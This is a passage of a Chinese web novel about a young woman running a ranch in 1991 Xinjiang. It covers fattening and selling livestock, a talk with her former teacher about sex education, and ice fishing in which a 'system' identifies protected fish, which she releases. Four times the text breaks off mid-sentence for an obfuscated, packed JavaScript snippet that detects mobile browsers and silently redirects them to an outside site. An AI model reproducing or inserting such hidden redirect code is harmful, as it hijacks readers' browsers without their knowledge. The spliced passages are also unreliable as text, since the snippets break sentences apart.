两人有些迟疑，最终还是玛依拉问道，“那么多你一个人能照顾得过来吗？要不我们还是每天过来一趟？” 姚新泉笑着摇了摇头，冬天的雪可不是开玩笑的！ 冬天山上的雪正常都有30厘米左右，比较大的时候积雪能有一米深，曾经造成雪灾的一次积雪有将近两米，虽然这次不至于这么夸张，但是到底也不可小觑。这种时候从大老远的地方跑过来就为了给自己喂羊？开什么玩笑！ 见她坚持两人也不好再说什么，而且冬天出行确实也比较危险。 “那你自己注意一点，牛如今都揣崽了，冬天的保暖肯定得做好，羊群跟马群也不能冻着，你育肥的那些牛羊我看你比我们自己养得都好，这个我们不用操心”，玛依拉絮絮叨叨的姚新泉也不嫌烦，只是笑着听她讲。 把自己记得的注意事项都讲了一遍之后他们夫妻俩这才一步三回头的下山了。 姚新泉又去看了一遍母牛们，不知道是这次冻精的质量比较好还是自家牛的身体状况好，上次人工授精半月之后让艾力大夫来检查，他就说全部都怀孕了。 这样也好，省钱又省事。 如今家里牲畜分了五拨，细毛羊跟马正常饲养就好了，公牛群跟羯羊群要做育肥，最后一个半月的时间了，饲养方案还得再做一下调整，怀孕的牛群要特别注意。 不算复杂，但是活儿是真不少。但是冬天本身也没什么事情做，总不能在床上躺上四个月吧？有事情做也挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502096|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的。 “系统，你帮我确定下往后五天的天气吧！” “经检测，明后两天有小雪，气温为-5摄氏度到-10摄氏度，再往后三天是晴天，气温为-8摄氏度到-12摄氏度。” “谢谢”，姚新泉想了想，这几天没顾得上下去采购，家里还缺不少东西，等晴天的时候她得好好去采买一波。 除此之外，家里的羊跟牛的买家如今已经初步谈好了，不过这时候大家都没签合同的习惯，姚新泉想了想也没急着签，倒像是防着谁了一样。有系统作保的人品，她也去问过不少认识的人，都说对方是好好做生意的人，她便信了这一次。 目前家里的羯羊跟牛还都在高速生长期，还能再喂一喂，等体重变化不大了的时候再喂就纯粹是浪费饲料了，到时候就得赶紧让羊贩子拉走。 她家是卖活体羊，不管是检疫手续还是别的都由买家那边负责，她只负责养羊。 第二天一早姚新泉感受到头发正在被拉扯，她无奈地一把抓住在枕头边上啄啄啄的小金雕，这孩子四个月左右了因为这两天忙实在是没顾得上正儿八经教她飞，只是平时跟玩儿一样让她从高处落下来，两米的高度姚新泉还紧张地跟什么一样跑过去接她。 好好飞不一定会，但是会扑腾，天天人还没醒就到她脑袋边上来啄啄啄，很是让人头痛。 本就觉得冷，睡得不舒服，这下被捣蛋鬼吵醒也算是彻底不想睡了。 她戳了戳小金雕的脑袋，穿上家里姚妈的军大衣，带好雷锋帽才去了厨房，家里锅炉在这边，得烧上锅炉了。 昨天晚上偷了个懒没把锅炉烧起来，现在屋子里就凉的刺骨，姚新泉叹了口气拿了几根小碎树枝跟引火草，坐在小板凳上开始烧火。 小动物卧室的几个小家伙听到动静也都跑了过来围在锅炉边，皮皮实在挤不进来了，就在外面的连廊下希律律地叫。 姚家的六间房本来是一排建好的房子，不是一栋屋子里分了几个房间这种，也就客厅和厨房是相连的。姚新泉想了想如果冬天出门上个厕所都得被淋一身的雪那就有点难受了。 所以前几天她专门请了师傅过来给家里搭了一排连廊，基本有半个屋子那么宽，虽然有点挡光，但是遮风挡雨啊！ 等火着起来她赶忙放了些干柴火进去，看着锅炉里隐隐冒出的火光这才松了口气，手脚在锅炉边烘了一会儿后她才回去换上皮靴子戴好手套围巾去喂牲畜。 1991年的第一场大雪就这样落了下来，其实也算不上大雪，但是当肉眼可以触及到的地方全是一片白茫茫时，见惯了北疆冬日的姚新泉还是不禁感叹，“真是一场大雪啊！”甚至想朗诵一首《沁园春雪》是怎么回事？ 姚新泉被自己逗乐了，全副武装出去喂牛羊马，本来不想狗狗军团们跟上的，但他们非要来，姚新泉也无奈。 “娜娜，看着些点点！”两个月大的小家伙第一次见雪，乐得跟个小傻子一样！ 23. 第 23 章 等天晴起来后姚新泉小心地骑上三轮车下山了，两轮摩托在雪地上实在是不稳当，她有点担心自己会摔。 等在小姨的超市里买了点儿东西之后姚新泉按照记忆中的地址找到了周老师家。 今天是周末，周老师确实在家，见到姚新泉后她先是一愣，随即便高兴了起来，“新泉啊，你怎么想到过来了？我听说你不是已经在上海工作了吗？” 姚新泉没有想把自己的伤疤再次揭开的想法只是笑了笑没回答后面的问题，“我想着也好久没来老师家转转了，老师你现在怎么样，身体还好吗？” 周老师拉着她坐下，对自己这个得意弟子的满意都写在脸上了，“我挺好的啊，这学期我还是当得尖子班班主任，你叔叔本来说让我就代代课就算了，当班主任又是费心又是费力的，也多不了几块钱”，周老师笑得还挺甜蜜的，“他就是觉得我身体不太好，这换季就容易生病”，想到什么她又叹了口气，“可这批学生是我从初一带上来的，他们一个个的家庭情况、学习情况只有我最清楚。现在是他们最重要的一年，如果考不上高中或者就落后了，以后高考的时候怎么办？怎么从咱们这儿考出去？” “大城市多好了，我当年”，周老师脸上闪过一瞬间的憧憬随后又不好意思地笑了笑，神情中有遗憾也有哀伤。 对于这位周老师的身世姚新泉是知道的，她是64年考上的大学，毕业的时候刚好赶上那件大事，不仅没能顺利拿到毕业证，还因为一些事情被下放到了边疆来。 六十年代的新疆跟现在的新疆那可以说是两个地方了，到处是戈壁滩，风沙大的能把人脸吹烂。 如今新疆能有这幅模样都是多亏了当年的人，都是他们吃苦受累才给如今的新疆换了一个颜色。 可别人口中的感谢对于那些真正吃了苦的人来说宛如鸡肋，他们中不少人还是心心念念自己的故乡的。 周老师是苏州人，那边因为离上海近所以发展得也还不错。 那场大运动结束之后周老师是有机会回去的，可是她在新疆成家也有孩子了，和丈夫感情还特别好，她怎么可能抛下家人回去呢？ 就这样，她从被迫扎根新疆变成了自愿扎根新疆，但心里对故乡、对大城市的向往并不会因为自己自愿留下而减少半分，反而会因为自己的求而不得在心中将其美化。 在姚新泉心中种下第一颗离开“新西兰”种子的人就是周老师。 可她也知道周老师不是不爱这片土地，只是人从来都是矛盾复杂的…… 姚新泉收回思绪，顺着周老师的想法说起了自己在上海的见闻，听得周老师满脸都是羡慕，“都发展成这样了啊！我三年前回了一次老家，当时顺带去了一趟上海，这几年没回去又不一样了！” “是啊，我们学校是八人间，我有三个室友都是上海本地的，学习成绩暂且不提，人家的一些意识跟见识就跟咱们边疆的不一样。我听室友讲起他们的中学，说是从初中开始就开了一门叫什么生理卫生课的，我当时还好奇呢，又不是所有人以后都要学医，学这个干什么？” 她们县里学校没开这门课，市里是有的，周老师自然是知道，她点了点头示意姚新泉继续说。 “我室友就跟我说，她们那课程更多的是起到一个科普的作用，比方说会讲解一些基础的生理知识，像是人体的消化系统、呼吸系统、循环系统之类的。还会教学生一些卫生与健康知识，像是个人卫生习惯以及传染病的预防、锻炼的必要性这些，我还觉得挺有意思的。” “除此之外他们还会对孩子进行一些青春期的教育，像是生殖系统的一些基本知识，第二性征的发育等等，我听得人都傻了”，姚新泉像是不好意思般笑了笑，“周老师你知道我性格的，从来都是天不怕地不怕的，但我初二第一次来月经把裤子弄脏了，我当时谁也不敢说，就拿着外套系在腰上，一路哭着回家，我还以为我要死了呢！我都这样，更别说别人了！” 她刚开始确实是想帮一把张新康，但是这些话也的的确确是实话，“不知道你还记不记得我们班有个女孩儿叫阿丽亚，她初二上完就回家结婚去了”，姚新泉叹了口气，“我听到这些的时候我都在想，她知不知道这些呢？学校没教过，她家里人真的会教她吗？她也就比我大两岁，那时候最多也就十五六岁，现在应该已经是几个孩子的妈妈了吧！” 周老师也叹气，“是啊，咱们这边基础教育还在慢慢抓，这一块儿更是不用说了”。 “还不止呢”，姚新泉又叹气，她站起身来朝周老师转了一圈，“老师你觉得我身材怎么样？” 她今天外面穿了一件短款棉衣，进屋后把外套脱了，里面就是一件高领黑色修身打底毛衣，下面穿了一条修身高腰牛仔裤，搭配了一双靴子，长发披散着很是好看。 姚新泉个子高，身材比例也好，可以说是腰细腿长，再加上她发育得也好，飒爽的同时又不乏女性的柔美，很是吸引人的目光。 周老师愣了一下有些不好意思地笑了，“你这孩子，你身材自然是很好的”，年轻健康有活力，让人羡慕。 姚新泉耸了耸肩，“可我不是今天才发育成这样的，我初中就开始发育了，就算当时穿了文胸，可上体育课跑步跳远的时候胸部不可避免地会晃动，当时就有不少臭小子会偷偷笑我！不过因为我学习好，我也不是那种被欺负了会忍气吞声的人，我打不过我还会告老师，我还会告家长让我爸妈找到他们家去，所以也没人敢闹到我面前来。” 她话音一转，“可是周老师，学校里那种说话都不敢高声，走路不敢抬头的小女孩你觉得少吗？她们被人嘲笑了她们敢跟人说吗？” “我当时听我室友说完我第一反应就是得给那些臭小子上上课！不懂觉得好奇或者好笑这个不奇怪，也不能因为这就把他们一杆子全都打死，说他们是坏孩子。可如果学校对他们进行一些生理卫生教育，他们知道这是怎么一回事儿了，女孩子不再有身材羞耻，男生也不会因为女孩跟自己的不一样而嘲笑他们，我觉得这真的是很有意义的一件事。” 周老师不由自主地点了点头，可突然想到什么她愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502097|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，随即似笑非笑地点了点姚新泉，“你啊你啊，你现在会跟老师耍心眼子了！你是为了张新康的事情来的吧？” 既然她猜出来了，姚新泉自然没有再隐瞒的必要，她把事情说了，“打人固然不对，该赔偿的张家肯定会赔偿。虽然这事儿已经了结了，但是我还是得说，我弟弟在这件事情上没错。” 周老师就是张新康的班主任，她带了张新康三年，不说对这个孩子多了解，但是她也知道这孩子绝对不是那种无缘无故挑事儿的刺头。 那次的事情出了之后她没想叫家长的，但是张新康那个臭小子问什么都不说，就咬死了不道歉，周老师气得不行才叫家长的。 事后她也反应过来了，这事情肯定是涉及其他人，不过她也没想深究，没想到竟然是这么回事儿。 她叹了口气，“难道你觉得我是那种都知道了这件事的缘由还会让张新康去道歉的老师吗？” 姚新泉赶忙拉住周老师的手跟她道歉，“其实我刚才说的话也确实是实话，咱们这边偏远又落后，能把孩子送出来上学的人家已经是进步了。可是十五六岁的孩子真的能结婚吗？他们身体发育好了吗？他们心理发育成熟了吗？他们有足够的能力去负担起一个家庭的未来吗？这个年纪就应该在学校里念书啊！” 周老师不想去探讨这种问题，她没有那个能力也没有那个心力去改变，她把话题引了回来，“你说的这个事情我觉得还挺有道理的，而且市里其实今年已经要求咱们县开设这门课程了，我回去敲敲边鼓，尽量这学期先上一两节。教材咱们确实没订，不过你不是说了嘛，里面很多跟医学有关的知识，我看看能不能跟领导商量一下，先请县医院的大夫过来上上课，反正一周一节也不耽误什么事情。” 就算抛开心底的触动，大城市孩子有的东西，周老师也希望自己学生能接触到。 就很不忘初心。 “另外我还得再去跟普通班那个班主任说一下上次的事情”，说到这里她就生气，“你都不知道，他们班班主任是个小年轻，因为班里学生总给他惹麻烦，他是天天在后面给人擦屁股。那次的事情表面看起来是张新康先动手的，所以他就像抓到什么一样非要咬着不放！你弟那个臭小子他要是早跟我说，我也不至于在对方面前理亏！这下我可得去好好跟他撕吧撕吧，这孩子就得好好教育教育！现在可还有流氓罪呢！” 想到这里她又操心起来了，“行了行了，反正你也不是专门来看我的，你赶紧回去吧，我还得想想怎么跟领导说这个事情呢！” 姚新泉被轰走了但是不影响她心情很好，她哼着小曲儿到了张家，小姨小姨夫都出去了，家里就张新康一个人。 姚新泉把事情跟他说了之后张新康没忍住冲上来把姚新泉抱起来转了一圈，“姐，你怎么那么厉害啊！” 看着双眼亮晶晶的弟弟姚新泉心里也很是喜爱，“行了吧，答应你的事情做到了，你之后专心读书，好好中考，要是考不好回头我天天让你去我那喂羊去！” 张新康用力点头，他姐就是最棒的！ 24. 第 24 章 时间飞逝，可能因为金手指给她增加了力气的原因，每天忙忙碌碌倒也不觉得累。 12月底1月初出栏的话现在已经算是到了育肥后期了，是比较重要的一段时间，她得调整一下精料的比例。 上次她在警犬饲养基地见到那边有不少农牧业相关的书籍，所以干脆就托了他们帮自己采购几本，现在没事儿就跟着书上学。 现在农业在搞规模化种植、机械化种植、科学种植，人家内地好多地方都在这样干。 畜牧业的话就算不引入机械化，那也得科学养殖，一方面能经济最大化，另一方面也有利于未来扩大养殖规模总结养殖经验。 她家虽然是个私人牧场，但是姚新泉想的很明白，她这么大的牧场不可能跟人家小规模养殖户那样什么都按照自家经验来，肯定得有一套养殖方案。 像现在，她按照自己学到的以及自己思考的方式配料，玉米、豆粕、麸皮之类的全都得按比例配好。 室内放了温度计，尽量要保持室内温度在5摄氏度左右。地上还铺了厚垫草。 书上说每天是需要保证一定时间的光照的，等雪停了她打算把羊圈、牛圈上面的篷布揭开，通通风晒晒太阳。 如果天气实在不好的话可以在室内开灯补光，具体这个有没有效果她也不太清楚，不过书上是这么说的，等以后有机会跟一些科学养殖的前辈讨论讨论吧！ 细毛羊那边虽然九月份剪过一次毛，但它们营养跟得上，羊毛长得还挺快的，也不担心他们被冻着。 至于怀孕的母牛那边同样也要增加精料，还得补充蛋白质和矿物质，水也尽量提供温的。牛圈要保持干净通风，但是温度也不能低。，她还顺便检查了一下它们的食欲、反刍情况以及精神状况。 如果一旦有什么不好要立马通知兽医，不过万幸的是姚新泉有金手指，治愈术虽然不是万能的，但是如果真是一些紧急情况也能缓解缓解。 上述这些情况她每一项都专门做了记录，就是想着回头查漏补缺总结经验。 作为一名牧民姚新泉绝对算不上门外汉，但是她自问如今还算不得一名新时代的进步的牧民，慢慢来吧！ 日子一旦陷入重复的劳作中时间就会过得很快，转眼就到了12月底，今天姚新泉打算给家里牛羊都上上称，她目测育肥已经差不多了。 家里有一个很久之前姚爸买的地磅，姚新泉搬了出来后引导着小羊上称。看着称上的数字姚新泉松了一口气，58公斤！ 她没有每天都给牲畜们称重，一般隔一个星期看一下体重增长情况。上一周的时候这只羊的体重是57.5公斤，这周正常喂食，体重几乎没怎么增长。 她拍了拍小羊的屁股示意另一只上称，同样，增长了不到一公斤。 “羊可以出栏了啊！”姚新泉摸了摸下巴，现在的饲料投入已经产生不了太大的回报了，可以出栏了。 牛的话也称了一下，基本都在680公斤左右，本周也就长了两公斤多。 牛也能出栏了！ 姚新泉有些激动，牧场第一笔相对较大的回款已经来了啊！ 她把牛羊关好赶忙回去打电话，“喂，马老板，我家里牛羊都能出栏了，你看要不今天过来一趟？” 对面答应下来了，主要是这两天天晴了，路上有雪但也不算太难走，车轮子上绑上防滑链，问题不大！ 此时姚新泉在想的是，家里留几头呢？ 牛得留一头！ 虽然说家里总共也就15头，但是养了这么久总不能自家一口吃不上吧？ 羊的话姚新泉打算留上五头，三个亲戚家就一家半头，马合木提江家、艾力兽医家，这是肯定要给的。 萨哈烈家之前卖羊的时候就给自己便宜了，羊也都是好羊，长得也快，以后肯定还要合作的，倒也不能小气，也得给人送一些！ 还有楼宇家，这么多年的朋友了，再加上他家也给自己帮了忙，日后都在一个县里，给人送点肉也不过分。 剩下还有些零零散散得分一下，估计家里能留上两头，也差不多了。 比起牛羊肉来姚新泉更喜欢吃猪肉，她还打算最起码买上大半头猪呢！ 毕竟家里除了她，可还有好几张嘴睁眼就要吃肉！ 马强来得很快，他还专门带了好几个师傅过来帮忙，姚新泉让他先别急。 “先杀一头羊看看咋样，咱们再谈价格。” 马强意味深长地看了姚新泉一眼，面上不显，心中却难掩自己的不屑。一个初出茅庐的小丫头片子真以为自己能养出什么贵价肉了？ 他不是没来过姚家牧场，不也就那样养嘛？也没见弄出什么花儿来啊！ 人家国外有些地方听说那是要给牛听音乐喂养长大的，虽然马强也搞不明白听个音乐咋就能让牛更好吃了，不是都说对牛弹琴吗？咋了，国外的牛就能听得懂弹琴了？ 但也许里面就是有什么门道呢？ 他也没拦，反而还主动帮着姚新泉杀羊，等他熟练地把羊剥皮拆解之后便觉得有点不对了，她家这羊身上的肌理看着不错啊！肥肉瘦肉的比例也不错，他没忍住看了姚新泉一眼，见她眼中满是笑意，他顿了顿又接着拆解。 “咱们就清炖吧，尝尝原味儿！” 姚家有一口大锅，在院子里垒了一个灶台后把小半只羊都放了进去，几人边等羊肉熟边聊天。 随着羊肉香味飘出来，狗狗军团在旁边哈喇子都要流出来了，年龄最小的点点没忍住上蹿下跳的。 几人的心思也不在聊天上了，又等了一会儿姚新泉把锅盖掀开，众人闻着那香味儿忍不住深吸一口气。 马强也不客气了，他虽然是回族，但是出来做生意之后有些事情就是不太方便太过讲究，所以拿了筷子夹起来就吃。 嫩！ 第一反应就是足够嫩，鲜嫩多汁，肉质细嫩，咀嚼时能感受到肉汁渗出，很鲜美。 脂肪多得地方不减油润感，但又不会显得肥腻，瘦肉部分纤维松散很容易咬断，也不会塞牙。 汤更是鲜美得不得了！ 马强眼神奇异地看着她，“你这羊怎么养得，这肉在我收了这么多年的羊里面不说排第一， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502098|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但也绝对是前五了！” 姚新泉淡笑不语，有秘方吗？ 还真有。 这段时间她突发奇想，把家里的白菜萝卜分了一部分出来喂牛羊，也没多喂，只是适当喂了一些，两个月左右，没想到还有这种奇效！ 这堆肥配方了不得啊！ 这羊本身不错，但是也没好到了不得的地步，姚新泉还打算明年好好想办法配一下，专门用那种肉质好的羊去配！ 见她没说话马强也不追问，人家的秘方怎么可能逢人就说？ 他想了想才道，“我也不跟你打马虎眼了，过年期间市场上羊肉的价格大概在4-6块一公斤，这个是有波动的，我这段时间收的羊都是按2.2块到2.8的价格收的，你家这个我给你3块一公斤。” 姚新泉笑了笑也没拒绝，只是道，“我这羊是萨哈烈给我让利，按2.3一公斤卖给我的，这几个月的时间里面我投进去了不少。而且我家这个羊的口感你也吃了，外面市场上按4-6块来，我家最起码能卖到7块，我相信你有这个渠道，我也不多要，3.4一公斤，你看咋样？” 马强嘶了一声，这毛价格比人家肉的价格都要贵了！ 不过马强自己也知道这肉划得来！ 他才注册了一家公司，是打算以后进驻市里的一家大超市的，这批羊倒真成了他的敲门砖了！ 想到这里他也不讨价还价了，“行，我都要了！” “只能给你75头，我自己得再留4头”，煮了的这半头就让大家吃个尽兴。 马强叹气，“行吧！那牛呢？” “一样的饲养方式，我跟你保证口感绝对不会比我家羊肉的这种口感差！不过我要留一头！” 马强恨铁不成钢，你吃那么多干啥？你要吃了长肉也就算了，瘦巴巴的吃了都白吃！ “那牛肉我给你按4.3来收”，他有些警惕地看向姚新泉，“这可是我的最高价了，你要再高我是真收不起了！”现在就是希望这批牛羊能帮自己打开通路，否则保不齐还真要亏了呢！ 姚新泉想了想还是点头了，零售价一般也就5-7块左右，已经可以了。 “那行，你们上称称一下吧！” 最终称下来羯羊总共4350公斤，每公斤3.4元，总价14790元。公牛总共是9520公斤，这就是40936元，加起来总共55726元。 马强一边给他数钱一边有些心酸，“你说说你家这牧场才开了多久啊，这瞬间回款5万多，我都不想当二道贩子了，我干脆也包个牧场养羊算球！” 姚新泉笑笑没说话。 不过马强也只是说说罢了，不说别的，这牛羊买回来怎么也得将近2万块了，平时的喂养、这段时间的育肥，还有请人放牧，哪个不要钱？ 万一再生点什么疫病之类的，自家吃都不成，得掩埋掉，钱就砸在水里了，连个响都没听到！ 他当二道贩子就不一样了，只要关系打通，到手的就是到手的！ 几人走的时候姚新泉还一人给割了一块儿肉，几人高高兴兴离开了。 25. 第 25 章 姚新泉又打电话找了个专门杀羊、杀牛的师傅上来，杀羊她倒不是不会，主要是毕竟是自己养大的，虽然这样说比较矫情，她真不太忍心看到杀羊的场面，更不忍心自己动手。 至于牛的话，那她确实是不会杀，只能请人。 等师傅上门来杀完牛羊后，她又专门给了他一笔钱，让他把下水给收拾出来。 冬天也没什么赚钱的法子，那师傅倒也高高兴兴地答应了，姚新泉也很高兴。 赚钱不就是为了花的吗？ 她想吃不想收拾，刚好赚了笔大的，请人收拾一下怎么了？ 等师傅收拾好之后，姚新泉从家里翻出一个大水缸，这东西虽然有可能会冻裂掉，但是短期装一下还行。 她把两头半的羊先拿出来，把剩下差不多两头挤一挤放到了缸里。 又把家里最大的几个木桶拿出来，把牛肉堆在里面，又把杂碎单独放，这才带着分割好的肉下山了。 按照计划好的分一分，算下来差不多就是三头半的羊了，哪怕姚新泉家里养羊这也不算小手笔，不过今年大家都给了她好多帮助，她也乐意给！ 千金难买她乐意！ 一路上一边送一边收，三轮车车厢里的东西一点儿没见减少，等把几家跑完后姚新泉的采购之旅只能先暂停，回家放东西去。 马合木提江家是他儿子套的兔子，也不知道家里有多少就一下给了她三只。 艾力兽医给了她好大一块鹿肉，说是他哥送的。 萨哈烈家给了她好大一捆马肠子，估计加起来有四五公斤，算下来可能比羊肉还贵。这夫妻俩手大的不行，还说明年再给她打折，把姚新泉笑得！ 楼宇家给她给了一箱苹果一箱梨，说是单位发的。 三个亲戚家给是给了她一大堆东西，她想买的鸡蛋咸鸭蛋这些不用买了，粮油米面又是一波，各类调料也有。她小姨夫也没管什么晦气不晦气的，给了她一大包各类药品，就怕到时候万一封山了有什么来不及下山治疗。 姚新泉感觉自己是去山下进了一波货，心里美滋滋地回来收拾。 不过该买的还是得买啊！ 没办法，系统预测了，从后天开始本地将迎来最起码四天的大雪，至于说为什么是四天，那是因为他总共也只能预测五天…… 姚新泉打算好好买上一波东西，年前就不打算出来了，出来一趟距离不说，还冷啊！ 姚新泉缩了缩脖子，去了县里的新华书店，满载而归！ 她把金庸的、古龙的、梁羽生的凡是能在书店里买到的武侠小说都拿了一本，还有亦舒的、张爱玲小说也都买了好几本。 姚新泉掐指算了算，加上自己家里那些专业书籍，怎么也够打发一个冬天的时间了吧？ 零食糖果、馕饼、糕点之类的也都采购了一波，反正天冷能放！ 等把东西买得差不多的时候她突然想起来，现在是不是还能去捞一波鱼？ 牧场上的那条河确实不算宽，但是在河流的上游有一块儿地方其实有点像个水潭了，她路过好几次，心里总想着可以去捞鱼吃，不过从回来到现在除了下雨下雪姚新泉几乎就没闲下来过，哪里有时间去钓鱼？ 她找了好几个地方终于在一家五金店里买到了鱼竿，也不知道结不结实，万一能钓到一米长的大鱼呢？嘿嘿。 第二天早晨喂完牲畜后她就带着皮皮和娜娜、塔塔走了，留下剩下三只看家，至于点点他还太小了，跑步耐力不太行，她懒得带。 现在家里需要小心喂养的牛羊送走了一波，也就母牛的饲养上需要再稍微注意一些了，姚新泉瞬间感觉自己肩膀上的担子轻了好多。她飞快地给剩下的牲畜喂好饲料，带着小动物们就去了那个水潭。 北疆这边有许多本地鱼种，不过姚新泉认识得不多。 因为小金雕的原因，她现在基本一个月会跟林业局联系一次，当他们局长知道自己牧场有河流的时候没忍住就跟她科普了一下，按照对方的说法是，八八年的保护动物名录里不少动物确实没列进去，但是实际上数量也不算特别多，希望她能稍微注意一点，比方说一种叫做哲罗鲑的冷水鱼。 姚新泉有点心累，局长还特意把哲罗鲑的照片给她看，老实讲，这玩意儿除非长到成年体长，比方说一两米这样，不然谁认识谁啊？ 她认识的鱼也就鲤鱼、五道黑这种。 反正听了局长的话，姚新泉是打定主意了，甭管什么保护不保护的，她只要自己认识的就成！ 当地有野生鲤鱼，实在不行就只要鲤鱼？别的都放生？也不知道那河里有没有。 如今的温度已经挺低的了，河面上结了一层冰，不算厚，至少姚新泉是不敢上冰的。 她专门带了铁锹过来，找了个背风的地方，在冰上一个范围内敲敲敲敲，再找了块儿大石头砸下去。 好家伙，至少五六个平方的冰是碎了。 她也不讲究那么多，也没打窝什么的，把自己的鱼竿鱼线都收拾好，再把自己提前准备好的冻的梆硬的羊油面团饵料穿上，又找了两块儿石头，一块撑着，一块儿压着鱼竿。 随后将鱼钩轻轻扔到了河里，把鱼竿撑住又用石头压住，这才在小板凳上坐了下来。 她搓了搓手，赶忙把皮手套穿上，冻死了冻死了！ 几个小家伙也不嫌冷，就那么窝在雪坑里，娜娜更是在里面打了个滚，随即站起身来用力一抖，姚新泉被甩了一脸的雪沫子。 没等她生气，剩下几只已经跟她闹了起来，见皮皮张着嘴就要去咬她，姚新泉笑得不行。 一匹小马天天咬人也是服了！ 不过看岸上吵成这样，姚新泉是觉得这钓鱼估计是没戏了，就当来带几个崽冬游吧！ 姚新泉已经做好了空手而归的准备，不想鱼线被用力扯了一下。 姚新泉眼睛一亮，赶忙拉起鱼竿往上用力，远远就见一不小的鱼顺着劲儿飘了过来，掉在了地上。 鱼还在地上扑腾呢，姚新泉凑了过去，皱眉看了一会儿，“这是鲤鱼吧？” 系统突然出声，“是的呢！” 姚新泉眼睛一亮，对啊，有系统在，不愁认不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502099|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来啊！ 这下她来劲儿了，把鱼取下来放到桶里，倒也没放水，这个天气，在外面冻半个小时就冻透了，完全不需要水。 她把鱼饵换了一下又抛进了河里，过了几分钟等鱼线有动静后一拉，竟然又上鱼了！ 不等姚新泉问，系统自己便出声了，“新疆裸重唇鱼，如今还不是保护鱼类。” 听出不对了，姚新泉皱眉反问，“如今？” “嗯哼！因为栖息地的破坏以及人类的捕杀，如今还不是保护鱼类的它，再过些年就是喽！” 姚新泉抓着鱼的手僵了僵，赶忙把鱼钩取下来把鱼扔进了河里，“破鱼，看着就不好吃，谁稀罕！” 之后姚新泉持续上货，“恭喜你，准格尔雅罗鱼！目前还不是保护鱼类。” 姚新泉咬牙，好一个目前还不是！ “不好吃！下一个！”扔回水里。 上钩！ “恭喜你！细鳞鲑，目前还不是哦！” 扔！下一位选手准备！ “恭喜你！你中奖了！这一位选手如今已经是国家一级保护动物了！让我们大声喊出这位选手的名字！新！疆！大！头！鱼！恭喜你，宿主，请问你现在是什么感受呢？” 姚新泉冷笑一声，小心解下鱼钩，小心将这位大佬放回了河里，随后面无表情地收拾东西，“打道回府！” 系统毫不留情地嘲笑她，姚新泉咬牙。 “其实目前还没有被列为保护动物或者鱼类的你就是可以吃啊？”笑完后系统才道。 姚新泉哼哼两声，“我都知道人家未来数量稀少需要国家或者自治区去出动人力物力去保护了，我就那么馋啊，非吃那口鱼不可？吃那口鱼我是能长生不老还是白日飞升啊？” 你说让她去做什么保护动物的举措，可能因为牧场事务繁忙的原因她做不了太多，但是这种举手之劳自然是要做的。 不然她过不了心里那道坎儿！ 系统满意地笑了，也不再逗她。 “经检测，宿主所在地西南方八百米处有一个鲤鱼群，这是人工养殖时偷跑出来的，如果需要，宿主可自行选购。” 姚新泉噗嗤笑出声来，“行行，我现在就去‘选购’！” 果然系统还是靠谱的，这边全是鲤鱼，数量多还大，半个上午的时间，她钓了两大桶回去，足够吃了。 回去的路上姚新泉突然在心里道，“系统，谢谢你啊！” 系统没说话，但是姚新泉能感觉得出来它也是高兴的。 把鱼放在外面，盖上盖子。姚新泉吃了午饭后下午还有活动，那就是教小金雕飞行！ 这小家伙的翅膀应该已经足够支撑她飞行了，不过也不知道是不是当初小时候被打击了积极性，这小家伙现在还是只乐意扑腾，不喜欢正儿八经去飞。 下午换了另外四个小崽（包括点点）以及皮皮这个多动症患儿一起出发，其实不远，就在当初救小金雕的云杉林里。 她从这里将小金雕救了下来，如今又要在这里教会小金雕飞行，想想其实还挺有意思的。 26. 第 26 章 小金雕似乎知道这一趟出门是来做什么的，她兴致很高，在姚新泉怀里叫个不停，吵得姚新泉脑门儿疼。 等到了地方后几个小家伙自己跑着去玩了，这边就留了姚新泉跟小金雕两个。 在让她飞行前，姚新泉打算先把思想工作做通。 “小金啊！你是雕，你是金雕！你是天空的霸主！你甚至在生物链中都找不到一个正儿八经的天敌！你多牛啊！” 也不知道是不是因为彩虹屁吹得太好了，小金雕昂首挺胸，差点儿背过去。 